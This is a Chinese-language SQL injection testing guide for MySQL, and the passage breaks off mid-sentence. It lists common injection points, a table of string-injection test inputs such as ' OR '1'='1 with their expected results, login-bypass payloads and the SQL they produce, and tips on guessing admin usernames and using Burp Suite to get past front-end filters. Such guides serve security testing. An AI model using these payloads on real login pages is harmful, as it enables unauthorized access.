SQL注入测试总结
本文以MySQL数据库为例,其它数据库仅供参考。
1 黑盒测试
1.1 手工测试
Web应用的主要注入点有:
① POST请求体中的参数
② GET请求头URL中的参数
③ Cookie
1.1.1 内联注入
1、字符串内联注入
测试字符串 |
变种 |
预期结果 |
' |
N/ A |
触发数据库返回错误。 |
' OR '1' = '1 |
') OR ('1' = '1 |
永真,返回所有行。 |
value' OR '1' = '2 |
value') OR ('1' = '2 |
空,不影响返回结果。 |
' AND '1' = '2 |
') AND ('1' = '2 |
永假,返回空。 |
' OR 'ab' = 'a''b |
') OR ('ab' = 'a''b |
字符串连接,结果同永真。 |
字符串内联注入测试字符串
下面以绕过某系统登录页面为例,介绍字符串内联注入。
场景① 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在返回值验证通过。这种情况在用户名输入框输入' OR 1 = 1 OR '1' = '1,密码为空,则猜测可构造如下SQL语句绕过后台校验登录系统:
SELECT * FROM usertable WHERE username = '' OR 1 = 1 OR '1' = '1' AND password = ''
也可以用户名为空,在密码输入框输入' OR '1' = '1,则猜测可构造如下SQL语句绕过后台校验登录系统:
SELECT * FROM usertable WHERE username = '' AND password = '' OR '1' = '1'
场景② 假设登录页面后台校验机制为:从数据库查询对应用户名和密码,存在一条返回值验证通过。这种情况在用户名输入框输入username' AND 1 = 1 OR '1' = '1,密码为空,则猜测可构造如下SQL语句绕过后台校验登录系统:
SELECT * FROM usertable WHERE username = 'username' AND 1 = 1 OR '1' = '1' AND password = ''
username如果未知,可以尝试使用admin、Admin、administrator、Administrator等进行猜测。
如果前端限制了某些字符不能输入,可以使用代理工具拦截并修改请求,如使用Burp Suite: